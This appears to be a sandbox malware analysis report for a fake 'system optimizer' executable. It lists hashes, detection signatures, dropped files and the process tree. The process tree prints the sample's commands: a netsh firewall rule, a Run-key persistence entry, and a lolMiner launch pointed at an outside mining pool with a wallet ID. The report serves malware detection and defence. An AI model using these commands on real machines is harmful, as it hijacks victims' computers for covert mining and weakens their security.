Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    33s
  • max time network
    38s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    23/02/2024, 19:07

General

  • Target

    System.Optimizer.v2.exe

  • Size

    7.3MB

  • MD5

    4799ecfa1c49e7717b7ac1ba1eef2f98

  • SHA1

    99a7fa53bb524bf2438773f742c0e9371c30ac5d

  • SHA256

    ccc378efd93655fa275f6689c7062f3ed7c807d7548fb38e25254d4967f49232

  • SHA512

    37ad1e0d2ec00b81ed4e595ab566c8db26d105b6c057a5d0a0e5f9af232b6a8f7dd4c9e61ae26eab057d61522dc269490496c20d4cdb57478cfeb457aa59955b

  • SSDEEP

    196608:9BZY3aF3loDfyGZ21X5Sp6GemDMPwuWwJnPGihnRE+:lY3aoDfD0pfaMPhVK+

Score
8/10

Malware Config

Signatures

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 15 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\System.Optimizer.v2.exe
    "C:\Users\Admin\AppData\Local\Temp\System.Optimizer.v2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2020
    • C:\Users\Admin\AppData\Local\Temp\System.Optimizer.v2.exe
      "C:\Users\Admin\AppData\Local\Temp\System.Optimizer.v2.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3248
      • C:\Windows\SYSTEM32\netsh.exe
        netsh advfirewall firewall add rule name="BlockProgram" dir=out program="C:\Users\Admin\AppData\Local\Temp\data\1.84\lolMiner.exe" profile=any action=allow
        3⤵
        • Modifies Windows Firewall
        PID:1684
      • C:\Windows\SYSTEM32\reg.exe
        reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v SystemOptimizer /t REG_SZ /d 'C:\Users\Admin\AppData\Local\Temp\data\1.84\lolMiner.exe -a GRAM --pool api-pool.gramcoin.org:443 --user UQBvLKd7IsKoB-pT89OBNKYpK1-ugvLF5335J3q8kRR8P8H0 '
        3⤵
          PID:584
        • C:\Users\Admin\AppData\Local\Temp\data\1.84\lolMiner.exe
          .\data\1.84\lolMiner.exe -a GRAM --pool api-pool.gramcoin.org:443 --user UQBvLKd7IsKoB-pT89OBNKYpK1-ugvLF5335J3q8kRR8P8H0
          3⤵
          • Executes dropped EXE
          PID:4612

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\VCRUNTIME140.dll

      Filesize

      106KB

      MD5

      4585a96cc4eef6aafd5e27ea09147dc6

      SHA1

      489cfff1b19abbec98fda26ac8958005e88dd0cb

      SHA256

      a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736

      SHA512

      d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\VCRUNTIME140.dll

      Filesize

      64KB

      MD5

      6ddced470268add42e478a6c68f33724

      SHA1

      598725bf8d23a76ba148db155d2dfaa670fa2a75

      SHA256

      dd7c6d62a581809ab069f23605a5db6d6902d19b97ae32658f2b6af11fe78591

      SHA512

      9911033e808070fea5c621178bcdeb8102ee9b8cf57b3cab411fd6130b31e307376c7b797287c91f3c6d0282c279e6933549ff3f72de218c3e1f605443db1cd3

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\_bz2.pyd

      Filesize

      82KB

      MD5

      a62207fc33140de460444e191ae19b74

      SHA1

      9327d3d4f9d56f1846781bcb0a05719dea462d74

      SHA256

      ebcac51449f323ae3ae961a33843029c34b6a82138ccd9214cf99f98dd2148c2

      SHA512

      90f9db9ee225958cb3e872b79f2c70cb1fd2248ebaa8f3282afff9250285852156bf668f5cfec49a4591b416ce7ebaaac62d2d887152f5356512f2347e3762b7

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\_decimal.pyd

      Filesize

      247KB

      MD5

      692c751a1782cc4b54c203546f238b73

      SHA1

      a103017afb7badaece8fee2721c9a9c924afd989

      SHA256

      c70f05f6bc564fe400527b30c29461e9642fb973f66eec719d282d3d0b402f93

      SHA512

      1b1ad0ca648bd50ce6e6af4be78ad818487aa336318b272417a2e955ead546c9e0864b515150cd48751a03ca8c62f9ec91306cda41baea52452e3fcc24d57d39

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\_hashlib.pyd

      Filesize

      63KB

      MD5

      787b82d4466f393366657b8f1bc5f1a9

      SHA1

      658639cddda55ac3bfc452db4ec9cf88851e606b

      SHA256

      241322647ba9f94bdc3ae387413ffb57ae14c8cf88bd564a31fe193c6ca43e37

      SHA512

      afcf66962958f38eec8b591aa30d380eb0e1b41028836058ff91b4d1472658de9fba3262f5c27ba688bd73da018e938f398e45911cd37584f623073067f575b6

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\_lzma.pyd

      Filesize

      155KB

      MD5

      0c7ea68ca88c07ae6b0a725497067891

      SHA1

      c2b61a3e230b30416bc283d1f3ea25678670eb74

      SHA256

      f74aaf0aa08cf90eb1eb23a474ccb7cb706b1ede7f911daf7ae68480765bdf11

      SHA512

      fd52f20496a12e6b20279646663d880b1354cffea10793506fe4560ed7da53e4efba900ae65c9996fbb3179c83844a9674051385e6e3c26fb2622917351846b9

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\_queue.pyd

      Filesize

      31KB

      MD5

      06248702a6cd9d2dd20c0b1c6b02174d

      SHA1

      3f14d8af944fe0d35d17701033ff1501049e856f

      SHA256

      ac177cd84c12e03e3a68bca30290bc0b8f173eee518ef1fa6a9dce3a3e755a93

      SHA512

      5b22bbff56a8b48655332ebd77387d307f5c0a526626f3654267a34bc4863d8afaf08ff3946606f3cf00b660530389c37bdfac91843808dbebc7373040fec4c1

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\_socket.pyd

      Filesize

      77KB

      MD5

      26dd19a1f5285712068b9e41808e8fa0

      SHA1

      90c9a112dd34d45256b4f2ed38c1cbbc9f24dba5

      SHA256

      eaabf6b78840daeaf96b5bdbf06adf0e4e2994dfeee5c5e27fefd824dbda5220

      SHA512

      173e1eda05d297d7da2193e8566201f05428437adcac80aecefe80f82d46295b15ce10990b5c080325dc59a432a587eef84a15ec688a62b82493ad501a1e4520

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\_ssl.pyd

      Filesize

      157KB

      MD5

      ab0e4fbffb6977d0196c7d50bc76cf2d

      SHA1

      680e581c27d67cd1545c810dbb175c2a2a4ef714

      SHA256

      680ad2de8a6cff927822c1d7dd22112a3e8a824e82a7958ee409a7b9ce45ec70

      SHA512

      2bff84a8ec7a26dde8d1bb09792ead8636009c8ef3fa68300a75420197cd7b6c8eaaf8db6a5f97442723e5228afa62961f002948e0eeee8c957c6517547dffba

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\base_library.zip

      Filesize

      384KB

      MD5

      a24a61926117aff60e625c4b746d1e56

      SHA1

      559c84b765dfd945a26c80ad5a810b462e811563

      SHA256

      bdd01339242283b11fa52017ee2b03df1bbe9a664286cec2c2cece0045385db8

      SHA512

      836862d82f64f521443c41ae83e1409dea3869fdc4be5ca73f006cd2c101873f342cfe3865aecc704773bf8b8f9d7955cad472ad852a84e185ccb10366ee6f14

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\certifi\cacert.pem

      Filesize

      285KB

      MD5

      d3e74c9d33719c8ab162baa4ae743b27

      SHA1

      ee32f2ccd4bc56ca68441a02bf33e32dc6205c2b

      SHA256

      7a347ca8fef6e29f82b6e4785355a6635c17fa755e0940f65f15aa8fc7bd7f92

      SHA512

      e0fb35d6901a6debbf48a0655e2aa1040700eb5166e732ae2617e89ef5e6869e8ddd5c7875fa83f31d447d4abc3db14bffd29600c9af725d9b03f03363469b4c

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\charset_normalizer\md.cp311-win_amd64.pyd

      Filesize

      10KB

      MD5

      723ec2e1404ae1047c3ef860b9840c29

      SHA1

      8fc869b92863fb6d2758019dd01edbef2a9a100a

      SHA256

      790a11aa270523c2efa6021ce4f994c3c5a67e8eaaaf02074d5308420b68bd94

      SHA512

      2e323ae5b816adde7aaa14398f1fdb3efe15a19df3735a604a7db6cadc22b753046eab242e0f1fbcd3310a8fbb59ff49865827d242baf21f44fd994c3ac9a878

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\charset_normalizer\md__mypyc.cp311-win_amd64.pyd

      Filesize

      116KB

      MD5

      9ea8098d31adb0f9d928759bdca39819

      SHA1

      e309c85c1c8e6ce049eea1f39bee654b9f98d7c5

      SHA256

      3d9893aa79efd13d81fcd614e9ef5fb6aad90569beeded5112de5ed5ac3cf753

      SHA512

      86af770f61c94dfbf074bcc4b11932bba2511caa83c223780112bda4ffb7986270dc2649d4d3ea78614dbce6f7468c8983a34966fc3f2de53055ac6b5059a707

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\libcrypto-1_1.dll

      Filesize

      3.3MB

      MD5

      9d7a0c99256c50afd5b0560ba2548930

      SHA1

      76bd9f13597a46f5283aa35c30b53c21976d0824

      SHA256

      9b7b4a0ad212095a8c2e35c71694d8a1764cd72a829e8e17c8afe3a55f147939

      SHA512

      cb39aa99b9d98c735fdacf1c5ed68a4d09d11f30262b91f6aa48c3f8520eff95e499400d0ce7e280ca7a90ff6d7141d2d893ef0b33a8803a1cadb28ba9a9e3e2

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\libcrypto-1_1.dll

      Filesize

      2.8MB

      MD5

      baf03d617b3a04134be98ef59a143539

      SHA1

      03895b6c57e829fded4203a5de80e401c19b89d6

      SHA256

      898dca706e7dd4f0444b125241676e74dfaf63b512a97c2b61090125094c037b

      SHA512

      2a85ebad5f18d4004ea8a8dde3e2e6d80bc96dd5ae55b225c934782480ac448a52b2b9b6cc14ed2b6574dcad30460be31e73d7529e05842451528e0ca116e6b5

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\libssl-1_1.dll

      Filesize

      688KB

      MD5

      bec0f86f9da765e2a02c9237259a7898

      SHA1

      3caa604c3fff88e71f489977e4293a488fb5671c

      SHA256

      d74ce01319ae6f54483a19375524aa39d9f5fd91f06cf7df238ca25e043130fd

      SHA512

      ffbc4e5ffdb49704e7aa6d74533e5af76bbe5db297713d8e59bd296143fe5f145fbb616b343eed3c48eceaccccc2431630470d8975a4a17c37eafcc12edd19f4

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\python311.dll

      Filesize

      1.4MB

      MD5

      4412eea553276b1b005baeab48f7b7f9

      SHA1

      5a453ced2de3963db38a417aa06742bcae7fb05b

      SHA256

      178b08fcd6ffa88805179fe90d2cb6673da456f4183d1e7c88f820018645783f

      SHA512

      fc874fd00cc5535f13490ae31731452c7307c9f559175924dd22c1f2cfd5d581cd804e4ff74c586194e086ef8128b9bd040b28c4429fb243b330268c4d5e35a3

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\python311.dll

      Filesize

      384KB

      MD5

      7503e66ce35353c1c7916977d9b7b989

      SHA1

      cd6595aab708ee918844168f46df738889d572e3

      SHA256

      a8b8a634da37bf09b2c079a0f0c1f7bcfb9225ec81697b7ee542e53b0621c74b

      SHA512

      e0a62d04c338b846bc4e6709d57252b17e85122846834e58fb8ab5f727769b21c4e1fffd4b903d70d12f963b0527e05b7aab62a19f3bb793d5300de73979afff

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\select.pyd

      Filesize

      29KB

      MD5

      756c95d4d9b7820b00a3099faf3f4f51

      SHA1

      893954a45c75fb45fe8048a804990ca33f7c072d

      SHA256

      13e4d9a734a453a3613e11b6a518430099ad7e3d874ea407d1f9625b7f60268a

      SHA512

      0f54f0262cf8d71f00bf5666eb15541c6ecc5246cd298efd3b7dd39cdd29553a8242d204c42cfb28c537c3d61580153200373c34a94769f102b3baa288f6c398

    • C:\Users\Admin\AppData\Local\Temp\_MEI20202\unicodedata.pyd

      Filesize

      1.1MB

      MD5

      58f7988b50cba7b793884f580c7083e1

      SHA1

      d52c06b19861f074e41d8b521938dee8b56c1f2e

      SHA256

      e36d14cf49ca2af44fae8f278e883341167bc380099dac803276a11e57c9cfa1

      SHA512

      397fa46b90582f8a8cd7df23b722204c38544717bf546837c45e138b39112f33a1850be790e248fca5b5ecd9ed7c91cd1af1864f72717d9805c486db0505fb9c

    • C:\Users\Admin\AppData\Local\Temp\data\1.84\lolMiner.exe

      Filesize

      8.8MB

      MD5

      38389ca20898924e51994fe0f23aa697

      SHA1

      9be2bfd31c9d6f69fae6a9f7b5121d0d0238b0d3

      SHA256

      15d3f2a3623493f1745c75db71d4f1082f006591434b3e21ab8c7419b2ac7645

      SHA512

      f341488a73aea907895bbcf58eca688f637e496df8969e0e4cf5a11daa6889ed3e6affbf10b835a84830def08b69e91b0d97c17eeaed6efeed2a6eb906006f43

    • memory/4612-98-0x00007FF7C51D0000-0x00007FF7CACD0000-memory.dmp

      Filesize

      91.0MB

    • memory/4612-99-0x00007FF7C51D0000-0x00007FF7CACD0000-memory.dmp

      Filesize

      91.0MB

    • memory/4612-100-0x00007FF7C51D0000-0x00007FF7CACD0000-memory.dmp

      Filesize

      91.0MB